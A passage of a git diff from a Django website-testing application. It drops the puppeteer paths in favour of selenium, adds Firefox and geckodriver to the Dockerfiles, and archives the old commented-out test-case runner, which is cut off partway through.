 rename app/api/management/commands/{driver_s_test.py => driver_test.py} (84%)
 create mode 100644 app/api/utils/archive/caser.py
 create mode 100644 app/api/utils/archive/driver_p.py
 create mode 100644 app/api/utils/archive/imager.py
 create mode 100644 app/api/utils/archive/wordpress_p.py
 rename app/api/utils/{driver_s.py => driver.py} (60%)
 delete mode 100644 app/api/utils/driver_p.py
 delete mode 100644 app/api/utils/wordpress_p.py

diff --git a/Dockerfile b/Dockerfile
index 52409c17..8e895722 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -27,7 +27,17 @@ RUN apt-get update && apt-get install -y python3 python3-pip
 # installing system deps
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
-    libfontconfig 
+    libfontconfig firefox
+
+# installing gekodriver
+RUN curl -fL -o /tmp/geckodriver.tar.gz \
+    https://github.com/mozilla/geckodriver/releases/download/v0.34.0/geckodriver-v0.34.0-linux64.tar.gz 
+RUN tar -xzf /tmp/geckodriver.tar.gz -C /tmp/
+RUN chmod +x /tmp/geckodriver
+RUN mv /tmp/geckodriver /usr/local/bin/
+
+# Cleanup unnecessary stuff
+RUN apt-get purge -y --auto-remove
 
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
diff --git a/Dockerfile.local b/Dockerfile.local
index 84e7b4a7..8782f9c3 100644
--- a/Dockerfile.local
+++ b/Dockerfile.local
@@ -21,9 +21,9 @@ RUN groupadd --system app & useradd --system app
 # installing python3 & pip
 RUN apt-get update && apt-get install -y python3.10 python3-pip
 
-# installing system deps || chromium-browser chromium-driver
+# installing system deps
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev libfontconfig
+    gfortran openssl libpq-dev curl libjpeg-dev libfontconfig firefox
     
 # extra packages
 RUN apt-get install -y libglib2.0-0 libsm6 libxrender1 libxext6 libgl1
@@ -37,6 +37,16 @@ RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd
 RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
 RUN rm google-chrome-stable_current_amd64.deb 
 
+# installing gekodriver
+RUN curl -fL -o /tmp/geckodriver.tar.gz \
+    https://github.com/mozilla/geckodriver/releases/download/v0.34.0/geckodriver-v0.34.0-linux64.tar.gz 
+RUN tar -xzf /tmp/geckodriver.tar.gz -C /tmp/
+RUN chmod +x /tmp/geckodriver
+RUN mv /tmp/geckodriver /usr/local/bin/
+
+# Cleanup unnecessary stuff
+RUN apt-get purge -y --auto-remove
+
 # begin npm portion
 RUN npm cache clean --force
 
diff --git a/app/api/management/commands/driver_p_test.py b/app/api/management/commands/driver_p_test.py
deleted file mode 100644
index c85d2705..00000000
--- a/app/api/management/commands/driver_p_test.py
+++ /dev/null
@@ -1,14 +0,0 @@
-from ...utils.driver_p import driver_test
-from django.core.management.base import BaseCommand
-import asyncio
-
-# testing puppeteer, pyppeteer, and chromium installation and configs
-
-class Command(BaseCommand):
-
-    def handle(self, *args, **options):
-        asyncio.run(driver_test())
-
-    
-
-
diff --git a/app/api/management/commands/driver_s_test.py b/app/api/management/commands/driver_test.py
similarity index 84%
rename from app/api/management/commands/driver_s_test.py
rename to app/api/management/commands/driver_test.py
index 3ae6438a..d72df774 100644
--- a/app/api/management/commands/driver_s_test.py
+++ b/app/api/management/commands/driver_test.py
@@ -1,4 +1,4 @@
-from ...utils.driver_s import driver_test
+from ...utils.driver import driver_test
 from django.core.management.base import BaseCommand
 
 # testing selenium, chromedriver, and chromium installation and configs
diff --git a/app/api/tasks.py b/app/api/tasks.py
index bde888c7..637c8499 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -5,7 +5,6 @@
 from .utils.tester import Tester as T
 from .utils.reporter import Reporter as R
 from .utils.wordpress import Wordpress as W
-from .utils.wordpress_p import Wordpress as W_P
 from .utils.automater import Automater
 from .utils.caser import Caser
 from .utils.autocaser import AutoCaser
@@ -14,7 +13,6 @@
     _html_and_logs, _vrt, _lighthouse, 
     _yellowlab
 )
-from .utils.driver_p import driver_test
 from .utils.alerts import send_invite_link, send_remove_alert
 from .models import *
 from django.contrib.auth.models import User
@@ -56,21 +54,6 @@ class BaseTaskWithRetry(Task):
 
 
 
-@shared_task
-def test_pupeteer() -> None:
-    """ 
-    Spins up a puppeteer driver instance and
-    tests to ensure it can access the browser and internet
-
-    Returns -> None
-    """
-    asyncio.run(driver_test())
-    logger.info('Tested pupeteer instalation')
-    return None
-
-
-
-
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> None:
     """ 
@@ -268,7 +251,7 @@ def create_scan(
         page_id         : str, 
         type            : list,
         automation_id   : str, 
-        configs         : str,
+        configs         : dict,
         tags            : list,
     }
     
@@ -291,7 +274,7 @@ def create_scan(
         )
 
     # run scan and automation if necessary
-    scan = S(scan=created_scan, configs=configs).build_scan()
+    scan = S(scan=created_scan).build_scan()
     if automation_id:
         print('running automation from `task.create_scan`')
         Automater(automation_id, scan.id).run_automation()
@@ -1055,12 +1038,7 @@ def create_testcase_bg(
         )
 
     # running testcase
-    if configs.get('driver', 'puppeteer') == 'puppeteer':
-        testresult = asyncio.run(
-            Caser(testcase=testcase).run_p()
-        )
-    if configs.get('driver', 'puppeteer') == 'selenium':
-        testresult = Caser(testcase=testcase).run_s()
+    testresult = Caser(testcase=testcase).run()
 
     # run automation if requested
     if automation_id:
@@ -1365,55 +1343,36 @@ def migrate_site_bg(
     Returns -> None
     """
 
-    if driver == 'selenium':
-        # init wordpress for selenium
-        wp = W(
-            login_url=login_url, 
-            admin_url=admin_url,
-            username=username,
-            password=password,
-            email_address=email_address,
-            destination_url=destination_url,
-            sftp_address=sftp_address,
-            dbname=dbname,
-            sftp_username=sftp_username,
-            sftp_password=sftp_password, 
-            wait_time=wait_time,
-            process_id=process_id,
+    # init wordpress for selenium
+    wp = W(
+        login_url=login_url, 
+        admin_url=admin_url,
+        username=username,
+        password=password,
+        email_address=email_address,
+        destination_url=destination_url,
+        sftp_address=sftp_address,
+        dbname=dbname,
+        sftp_username=sftp_username,
+        sftp_password=sftp_password, 
+        wait_time=wait_time,
+        process_id=process_id,
 
-        )
+    )
 
-        # login
-        wp_status = wp.login()
-        # adjust lang
-        wp_status = wp.begin_lang_check()
-        # install plugin
-        wp_status = wp.install_plugin(plugin_name=plugin_name)
-        # launch migration
-        wp_status = wp.launch_migration()
-        # run migration
-        wp_status = wp.run_migration()
-        # re adjust lang
-        # wp_status = wp.end_lang_check()
+    # login
+    wp_status = wp.login()
+    # adjust lang
+    wp_status = wp.begin_lang_check()
+    # install plugin
+    wp_status = wp.install_plugin(plugin_name=plugin_name)
+    # launch migration
+    wp_status = wp.launch_migration()
+    # run migration
+    wp_status = wp.run_migration()
+    # re adjust lang
+    # wp_status = wp.end_lang_check()
     
-    else:
-        # init wordpress for puppeteer
-        wp_status = asyncio.run(
-            W_P(
-                login_url=login_url, 
-                admin_url=admin_url,
-                username=username,
-                password=password,
-                email_address=email_address,
-                destination_url=destination_url,
-                sftp_address=sftp_address,
-                dbname=dbname,
-                sftp_username=sftp_username,
-                sftp_password=sftp_password, 
-                wait_time=wait_time,
-                process_id=process_id,
-            ).run_full(plugin_name=plugin_name)
-        )
 
     logger.info('Finished Migration')
     return None
diff --git a/app/api/utils/archive/caser.py b/app/api/utils/archive/caser.py
new file mode 100644
index 00000000..c47108bf
--- /dev/null
+++ b/app/api/utils/archive/caser.py
@@ -0,0 +1,899 @@
+# from .driver_p import driver_init as driver_p_init
+# from .driver_s import driver_init as driver_init
+# from .driver_s import driver_wait, quit_driver
+# from .issuer import Issuer
+# import time, uuid, json, boto3, os
+# from selenium.webdriver.common.by import By
+# from selenium.webdriver.common.keys import Keys
+# from ..models import * 
+# from datetime import datetime
+# from asgiref.sync import sync_to_async
+# from scanerr import settings
+
+
+
+
+
+
+# class Caser():
+#     """ 
+#     Run a `Testcase` for a specific `Site`.
+
+#     Expects: {
+#         'testcase' : object,
+#     }
+
+#     - Use `Caser.run_s()` to run with selenium
+#     - Use `Caser.run_p()` to run with puppeteer
+
+#     Returns -> None
+#     """
+
+
+
+
+#     def __init__(self, testcase: object=None):
+#         self.testcase = testcase
+#         self.site_url = self.testcase.site.site_url
+#         self.steps = self.testcase.steps
+#         self.case_name = self.testcase.case.name
+#         self.configs = self.testcase.configs
+#         self.s_keys = {
+#             '+':            Keys.ADD,
+#             'Alt':          Keys.ALT,
+#             'ArrowDown':    Keys.ARROW_DOWN,
+#             'ArrowLeft':    Keys.ARROW_LEFT,
+#             'ArrowRight':   Keys.ARROW_RIGHT,
+#             'ArrowUp':      Keys.ARROW_UP,
+#             'Backspace':    Keys.BACKSPACE,
+#             'Control':      Keys.CONTROL,
+#             '.':            Keys.DECIMAL,
+#             'Delete':       Keys.DELETE,
+#             '/':            Keys.DIVIDE,
+#             'Enter':        Keys.ENTER,
+#             '=':            Keys.EQUALS,
+#             'Escape':       Keys.ESCAPE,
+#             'Meta':         Keys.META,
+#             '*':            Keys.MULTIPLY,
+#             '0':            Keys.NUMPAD0,
+#             '1':            Keys.NUMPAD1,
+#             '2':            Keys.NUMPAD2,
+#             '3':            Keys.NUMPAD3,
+#             '4':            Keys.NUMPAD4,
+#             '5':            Keys.NUMPAD5,
+#             '6':            Keys.NUMPAD6,
+#             '7':            Keys.NUMPAD7,
+#             '8':            Keys.NUMPAD8,
+#             '9':            Keys.NUMPAD9,
+#             ';':            Keys.SEMICOLON,
+#             'Shift':        Keys.SHIFT,
+#             'Space':        Keys.SPACE,
+#             '-':            Keys.SUBTRACT,
+#             'Tab':          Keys.TAB
+#         }
+
+
+
+
+#     @sync_to_async
+#     def update_testcase(
+#             self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
+#             passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
+#         ) -> None:
+#         # updates Tescase for a puppeteer run (async) 
+#         if start_time != None:
+#             self.testcase.steps[index][type]['time_created'] = str(start_time)
+#         if end_time != None:
+#             self.testcase.steps[index][type]['time_completed'] = str(end_time)
+#         if passed != None:
+#             self.testcase.steps[index][type]['passed'] = passed
+#         if exception != None:
+#             self.testcase.steps[index][type]['exception'] = str(exception)
+#         if image != None:
+#             self.testcase.steps[index][type]['image'] = str(image)
+#         if time_completed != None:
+#             self.testcase.time_completed = time_completed
+#             test_status = True
+#             for step in self.testcase.steps:
+#                 if step['action']['passed'] == False:
+#                     test_status = False
+#                 if step['assertion']['passed'] == False:
+#                     test_status = False
+#             self.testcase.passed = test_status
+        
+#         self.testcase.save()
+#         return None
+
+
+
+
+#     def update_testcase_s(
+#             self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
+#             passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
+#         ) -> None:
+#         # updates Tescase for a selenium run (async) 
+#         if start_time != None:
+#             self.testcase.steps[index][type]['time_created'] = str(start_time)
+#         if end_time != None:
+#             self.testcase.steps[index][type]['time_completed'] = str(end_time)
+#         if passed != None:
+#             self.testcase.steps[index][type]['passed'] = passed
+#         if exception != None:
+#             self.testcase.steps[index][type]['exception'] = str(exception)
+#         if image != None:
+#             self.testcase.steps[index][type]['image'] = str(image)
+#         if time_completed != None:
+#             self.testcase.time_completed = time_completed
+#             test_status = True
+#             for step in self.testcase.steps:
+#                 if step['action']['passed'] == False:
+#                     test_status = False
+#                 if step['assertion']['passed'] == False:
+#                     test_status = False
+#             self.testcase.passed = test_status
+        
+#         self.testcase.save()
+#         return
+
+
+
+
+#     @sync_to_async
+#     def format_element(self, element):
+#         elememt = json.dumps(element).rstrip('"').lstrip('"')
+#         return str(element)
+
+
+
+
+#     def format_element_s(self, element):
+#         elememt = json.dumps(element).rstrip('"').lstrip('"')
+#         return str(element)
+
+
+
+    
+#     async def save_screenshot(self, page: object=None) -> str:
+#         '''
+#         Grabs & uploads a screenshot of the `page` 
+#         passed in the params. 
+
+#         Returns -> `image_url` <str:remote path to image>
+#         '''
+
+#         # setup boto3 configurations
+#         s3 = boto3.client(
+#             's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+#             aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+#             region_name=str(settings.AWS_S3_REGION_NAME), 
+#             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+#         )
+
+#         # setting id for image
+#         pic_id = uuid.uuid4()
+        
+#         # get screenshot
+#         await page.screenshot({'path': f'{pic_id}.png'})
+
+#         # seting up paths
+#         image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+#         remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png'
+#         root_path = settings.AWS_S3_URL_PATH
+#         image_url = f'{root_path}/{remote_path}'
+    
+#         # upload to s3
+#         with open(image, 'rb') as data:
+#             s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+#                 remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+#             )
+#         # remove local copy
+#         os.remove(image)
+
+#         # returning image url
+#         return image_url
+
+
+
+    
+#     def save_screenshot_s(self) -> str:
+#         '''
+#         Grabs & uploads a screenshot of the `page` 
+#         passed in the params. 
+
+#         Returns -> `image_url` <str:remote path to image>
+#         '''
+
+#         # setup boto3 configurations
+#         s3 = boto3.client(
+#             's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+#             aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+#             region_name=str(settings.AWS_S3_REGION_NAME), 
+#             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+#         )
+
+#         # setting id for image
+#         pic_id = uuid.uuid4()
+        
+#         # get screenshot
+#         self.driver.save_screenshot(f'{pic_id}.png')
+
+#         # seting up paths
+#         image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+#         remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png'
+#         root_path = settings.AWS_S3_URL_PATH
+#         image_url = f'{root_path}/{remote_path}'
+    
+#         # upload to s3
+#         with open(image, 'rb') as data:
+#             s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+#                 remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+#             )
+#         # remove local copy
+#         os.remove(image)
+
+#         # returning image url
+#         return image_url
+
+
+
+#     @sync_to_async
+#     def format_exception(self, exception: str) -> str:
+#         """ 
+#         Cleans the passed `exception` of any 
+#         system refs and unnecessary info
+
+#         Expects: {
+#             "exception": str
+#         }
+
+#         Returns -> str
+#         """
+
+#         split_e = str(exception).split('Stacktrace:')
+#         new_exception = split_e[0]
+
+#         return new_exception
+
+
+    
+
+#     def format_exception_s(self, exception: str) -> str:
+#         """ 
+#         Cleans the passed `exception` of any 
+#         system refs and unnecessary info
+
+#         Expects: {
+#             "exception": str
+#         }
+
+#         Returns -> str
+#         """
+
+#         split_e = str(exception).split('Stacktrace:')
+#         new_exception = split_e[0]
+
+#         return new_exception
+
+    
+
+
+#     def run_s(self) -> None:
+#         """
+#         Runs the self.testcase using selenium as the driver
+
+#         Returns -> None
+#         """
+
+#         print(f'beginning testcase for {self.site_url}  \
+#             using case {self.case_name}')
+        
+#         # initate driver
+#         self.driver = driver_init(
+#             window_size=self.configs['window_size'], 
+#             device=self.configs['device']
+#         )
+
+#         # setting implict wait_time for driver
+#         self.driver.implicitly_wait(self.configs['max_wait_time'])
+
+#         i = 0
+#         for step in self.steps:
+#             print(f'-- running step #{i+1} --')
+        
+#             # adding catch if nav is not first
+#             if i == 0 and step['action']['type'] != 'navigate':
+#                 print(f'navigating to {self.site_url} before first step')
+#                 # using selenium, navigate to site root path & wait for page to load
+#                 self.driver.get(f'{self.site_url}')
+#                 time.sleep(int(self.configs['min_wait_time']))
+
+#             if step['action']['type'] == 'navigate':
+#                 exception = None
+#                 passed = True
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'navigating to {self.site_url}{step["action"]["path"]}')
+#                     # using selenium, navigate to requested path & wait for page to load
+#                     driver_wait(
+#                         driver=self.driver, 
+#                         interval=int(self.configs.get('interval', 1)),  
+#                         min_wait_time=int(self.configs.get('min_wait_time', 3)),
+#                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
+#                     )
+#                     self.driver.get(f'{self.site_url}{step["action"]["path"]}')
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = self.save_screenshot_s()
+
+#                 except Exception as e:
+#                     image = self.save_screenshot_s()
+#                     exception = self.format_exception_s(e)
+#                     passed = False
+
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+            
+#             if step['action']['type'] == 'scroll':
+#                 exception = None
+#                 passed = True
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'scrolling -> {step["action"]["value"]}')
+                                    
+#                     # scrolling using plain JavaScript
+#                     self.driver.execute_script(f'window.scrollTo({step["action"]["value"]});')
+#                     time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+#                     # get image
+#                     image = self.save_screenshot_s()
+                
+#                 except Exception as e:
+#                     image = self.save_screenshot_s()
+#                     exception = self.format_exception_s(e)
+#                     passed = False
+
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+        
+            
+#             if step['action']['type'] == 'click':
+#                 exception = None
+#                 passed = True
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'clicking element -> {step["action"]["element"]}')
+#                     # using selenium, find and click on the 'element' 
+#                     selector = self.format_element_s(step["action"]["element"])
+#                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                                    
+#                     # scrolling to element using plain JavaScript
+#                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+#                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
+#                     self.driver.execute_script("window.scrollBy(0, -100);")
+#                     time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+#                     # clicking element
+#                     element.click()
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = self.save_screenshot_s()
+                
+#                 except Exception as e:
+#                     image = self.save_screenshot_s()
+#                     exception = self.format_exception_s(e)
+#                     passed = False
+
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+        
+#             if step['action']['type'] == 'change':
+#                 exception = None
+#                 passed = True
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+                
+#                 try:
+#                     print(f'changing element to value -> {step["action"]["value"]}') 
+#                     # using selenium, find and change the 'element'.value
+#                     selector = self.format_element_s(step["action"]["element"])
+#                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+#                     # scrolling to element and back down a bit
+#                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+#                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
+#                     self.driver.execute_script("window.scrollBy(0, -100);")
+#                     time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+#                     # changing value of element
+#                     value = step["action"]["value"]
+#                     element.send_keys(value)
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = self.save_screenshot_s()
+                
+#                 except Exception as e:
+#                     image = self.save_screenshot_s()
+#                     exception = self.format_exception_s(e)
+#                     passed = False
+
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+#             if step['action']['type'] == 'keyDown':
+#                 exception = None
+#                 passed = True
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+                
+#                 try:
+#                     print(f'keyDown action for key -> {step["action"]["key"]}')
+#                     # getting last known element
+#                     n = (i - 1)
+#                     elm = None
+#                     while True:
+#                         elm = self.steps[n]['action']['element']
+#                         if elm != None and len(elm) != 0:
+#                             break
+#                         n -= 1
+#                     selector = self.format_element_s(elm)
+                                
+#                     # using selenium, find elemenmtn and send 'Key' event
+#                     selector = self.format_element_s(step["action"]["element"])
+#                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+#                     # scrolling to element and back down a bit
+#                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+#                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
+#                     self.driver.execute_script("window.scrollBy(0, -100);")
+#                     time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+#                     # using selenium, press the selected key
+#                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = self.save_screenshot_s()
+                
+#                 except Exception as e:
+#                     image = self.save_screenshot_s()
+#                     exception = self.format_exception_s(e)
+#                     passed = False
+
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+#             if step['assertion']['type'] == 'match':
+#                 exception = None
+#                 passed = True
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
+#                     # using selenium, find elememt and assert if element.text == assertion.text
+#                     selector = self.format_element_s(step["action"]["element"])
+#                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+#                     # scrolling to element and back down a bit
+#                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+#                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
+#                     self.driver.execute_script("window.scrollBy(0, -100);")
+#                     time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+#                     # gettintg elem text
+#                     elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')
+#                     elementText = elementText.strip()
+#                     print(f'elementText => {elementText}')
+#                     print(f'value => {step["assertion"]["value"]}')
+
+#                     # assert text
+#                     assert elementText == step["assertion"]["value"]
+#                     image = self.save_screenshot_s()
+
+#                 except Exception as e:
+#                     image = self.save_screenshot_s()
+#                     exception = self.format_exception_s(e)
+#                     passed = False
+
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+            
+#             if step['assertion']['type'] == 'exists':
+#                 exception = None
+#                 passed = True
+#                 self.update_testcase_s(
+#                     index=i, type='assertion', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'asserting that element -> {step["assertion"]["element"]} exists')
+#                     # using puppeteer, find elememt and assert it exists
+#                     selector = self.format_element_s(step["action"]["element"])
+#                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+#                     # scrolling to element and back down a bit
+#                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+#                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
+#                     self.driver.execute_script("window.scrollBy(0, -100);")
+                    
+#                     # scrolling to element using plain JavaScript
+#                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+#                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+#                     image = self.save_screenshot_s()
+
+#                 except Exception as e:
+#                     image = self.save_screenshot_s()
+#                     exception = self.format_exception_s(e)
+#                     passed = False
+
+#                 self.update_testcase_s(
+#                     index=i, type='assertion', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+#             i += 1  
+
+#         self.update_testcase_s(
+#             time_completed=datetime.now()
+#         )
+#         quit_driver(driver=self.driver)
+#         print('-- testcase run complete --')
+        
+#         if not self.testcase.passed and self.testcase.configs.get('create_issue'):
+#             print('generating new Issue...')
+#             Issuer(testcase=self.testcase).build_issue()
+        
+#         return None
+
+
+
+
+#     async def run_p(self) -> None:
+#         """
+#         Runs the self.testcase using pupeteer as the driver
+
+#         Returns -> None
+#         """
+
+#         print(f'beginning testcase for {self.site_url}  \
+#             using case {self.case_name}')
+        
+#         # initate driver
+#         self.driver = await driver_p_init()
+        
+#         # init page obj 
+#         self.page = await self.driver.newPage()
+
+#         # setting up page with configs
+#         sizes = self.configs['window_size'].split(',')
+#         is_mobile = False
+#         if self.configs['device'] == 'mobile':
+#             is_mobile = True
+        
+#         self.page_options = {
+#             'waitUntil': 'networkidle0', 
+#             'timeout': int(self.configs['max_wait_time'])*1000
+#         }
+
+#         print(f'setting max timeout to -> {int(self.configs["max_wait_time"])}s')
+
+#         viewport = {
+#             'width': int(sizes[0]),
+#             'height': int(sizes[1]),
+#             'isMobile': is_mobile,
+#         }
+        
+#         userAgent = (
+#             "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
+#             (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
+#         )
+        
+#         emulate_options = {
+#             'viewport': viewport,
+#             'userAgent': userAgent
+#         }
+
+#         if self.configs['device'] == 'mobile':
+#             await self.page.emulate(emulate_options)
+#         else:
+#             await self.page.setViewport(viewport)
+
+
+#         i = 0
+#         for step in self.steps:
+#             print(f'-- running step #{i+1} --')
+
+#             # adding catch if nav is not first
+#             if i == 0 and step['action']['type'] != 'navigate':
+#                 print(f'navigating to {self.site_url} before first step')
+#                 # using puppeteer, navigate to site root path & wait for page to load
+#                 await self.page.goto(f'{self.site_url}', self.page_options)
+#                 time.sleep(int(self.configs['min_wait_time']))
+
+#             if step['action']['type'] == 'navigate':
+#                 exception = None
+#                 passed = True
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'navigating to {self.site_url}{step["action"]["path"]}')
+#                     # using puppeteer, navigate to requested path & wait for page to load
+#                     await self.page.goto(f'{self.site_url}{step["action"]["path"]}', self.page_options)
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = await self.save_screenshot(page=self.page)
+
+#                 except Exception as e:
+#                     image = await self.save_screenshot(page=self.page)
+#                     exception = await self.format_exception(e)
+#                     passed = False
+
+                
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+#             if step['action']['type'] == 'scroll':
+#                 exception = None
+#                 passed = True
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'scrolling -> {step["action"]["value"]}')
+              
+#                     # scrolling using plain JavaScript
+#                     await self.page.evaluate(f'window.scrollTo({step["action"]["value"]});')
+#                     time.sleep(int(self.configs['min_wait_time']))
+
+#                     # get image
+#                     image = await self.save_screenshot(page=self.page)
+                
+#                 except Exception as e:
+#                     image = await self.save_screenshot(page=self.page)
+#                     exception = await self.format_exception(e)
+#                     passed = False
+
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 ) 
+               
+#             if step['action']['type'] == 'click':
+#                 exception = None
+#                 passed = True
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'clicking element -> {step["action"]["element"]}')
+#                     # using puppeteer, find and click on the 'element' 
+#                     selector = await self.format_element(step["action"]["element"])
+#                     await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))                 
+#                     # scrolling to element using plain JavaScript
+#                     await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
+#                     element = await self.page.J(selector)
+#                     await element.click()
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = await self.save_screenshot(page=self.page)
+                
+#                 except Exception as e:
+#                     image = await self.save_screenshot(page=self.page)
+#                     exception = await self.format_exception(e)
+#                     passed = False
+
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 ) 
+
+#             if step['action']['type'] == 'change':
+#                 exception = None
+#                 passed = True
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+                
+#                 try:
+#                     print(f'changing element to value -> {step["action"]["value"]}') 
+#                     # using puppeteer, find and click on the 'element'
+#                     if step["action"]["element"] != (None or ''):
+#                         selector = await self.format_element(step["action"]["element"])
+#                         await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
+#                         # scrolling to element using plain JavaScript 
+#                         await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
+#                         element = await self.page.J(selector)
+#                         await element.click(clickCount=3)
+#                     await self.page.keyboard.type(step["action"]["value"])
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = await self.save_screenshot(page=self.page)
+                
+#                 except Exception as e:
+#                     image = await self.save_screenshot(page=self.page)
+#                     exception = await self.format_exception(e)
+#                     passed = False
+
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 ) 
+
+#             if step['action']['type'] == 'keyDown':
+#                 exception = None
+#                 passed = True
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
